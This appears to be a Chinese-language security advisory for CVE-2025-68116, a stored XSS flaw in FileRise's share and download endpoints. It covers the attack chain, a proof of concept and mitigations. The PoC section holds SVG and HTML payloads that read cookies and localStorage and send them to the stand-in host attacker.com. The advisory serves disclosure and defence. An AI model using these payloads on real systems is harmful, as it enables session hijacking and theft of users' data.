IPBUF安全漏洞报告
English
CVE-2025-68116 CVSS 8.9 高危

CVE-2025-68116 FileRise 存储型XSS漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-68116
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
8.9 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
FileRise

相关标签

存储型XSSFileRiseWebDAV文件上传CVE-2025-68116SVG注入HTML注入Web文件管理器会话劫持JavaScript执行

漏洞概述

FileRise是一款自托管Web文件管理器和WebDAV服务器。该产品在2.7.1之前的版本中存在严重的存储型跨站脚本(Stored XSS)漏洞。漏洞的根本原因在于系统对用户上传文件的处理不安全,特别是浏览器可渲染的文件类型(如SVG和HTML)在通过分享和下载端点提供服务时,未进行充分的安全过滤和内容类型控制。攻击者可以利用此漏洞上传包含恶意JavaScript代码的SVG或HTML文件,当其他用户通过分享链接或直接下载访问这些文件时,恶意代码会在受害者浏览器中执行,从而窃取敏感信息、劫持用户会话或执行其他恶意操作。该漏洞影响系统的分享功能端点(/api/file/share.php)和直接文件下载端点(/api/file/download.php),需要低权限用户身份即可实施攻击,但需要诱导受害者进行交互操作。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击流程如下:攻击者首先需要将恶意构造的SVG或HTML文件上传到FileRise服务器。SVG文件由于支持内联JavaScript(通过script标签或事件处理器如onload),成为主要攻击向量。HTML文件则作为次要攻击手段。当文件通过/api/file/share.php端点生成分享链接后,受害者访问该链接时,服务器会返回未经充分清理的文件内容。由于浏览器会根据Content-Type或文件内容自动渲染SVG/HTML,嵌入的JavaScript代码便会执行。攻击者可以利用此漏洞执行任意客户端JavaScript代码,包括但不限于:窃取Cookie和会话令牌、读取页面内容并发送至攻击者控制的服务器、修改页面显示内容进行钓鱼攻击、在受害者权限范围内执行API操作。该漏洞的利用复杂度较低,但需要用户交互(点击分享链接),因此属于用户交互型(UI:R)漏洞。修复版本2.7.1应该增加了对上传文件内容的清理和对SVG/HTML文件的Content-Disposition头强制下载处理。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者注册账户并登录FileRise系统,获取低权限用户身份
STEP 2
步骤2:上传恶意文件
攻击者构造包含XSS payload的SVG或HTML文件,并通过/api/file/upload或正常上传功能将其上传到FileRise服务器
STEP 3
步骤3:生成分享链接
攻击者使用/api/file/share.php端点为恶意文件生成分享链接
STEP 4
步骤4:诱导受害者
攻击者通过钓鱼邮件、社交工程等方式诱导目标用户点击恶意分享链接
STEP 5
步骤5:XSS执行
受害者浏览器访问分享链接时,服务器返回恶意SVG/HTML文件,浏览器渲染时执行嵌入的JavaScript代码
STEP 6
步骤6:数据窃取与权限滥用
恶意脚本窃取受害者的Cookie、会话令牌或其他敏感信息,并可代表受害者执行API操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG PoC for CVE-2025-68116 --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // Steal session cookies and send to attacker server var stolenData = { cookies: document.cookie, url: window.location.href, referrer: document.referrer }; // Send data to attacker's server fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(stolenData))); // Alternative: Read localStorage var localStorageData = JSON.stringify(localStorage); fetch('https://attacker.com/steal?ls=' + btoa(localStorageData)); </script> </svg> <!-- Alternative HTML PoC --> <html> <body> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <script>document.location='https://attacker.com/phishing?token='+btoa(document.cookie)</script> </body> </html>

影响范围

FileRise < 2.7.1

防御指南

临时缓解措施
在官方修复发布前,可采取以下临时缓解措施:1) 限制SVG和HTML文件类型的上传;2) 对所有SVG/HTML文件在响应头中强制设置Content-Disposition: attachment;3) 配置WAF规则检测和阻止包含<script>标签或事件处理器onerror/onload的请求;4) 启用浏览器的XSS过滤器;5) 提醒用户不要点击来源不明的文件分享链接;6) 对文件分享功能实施更严格的访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表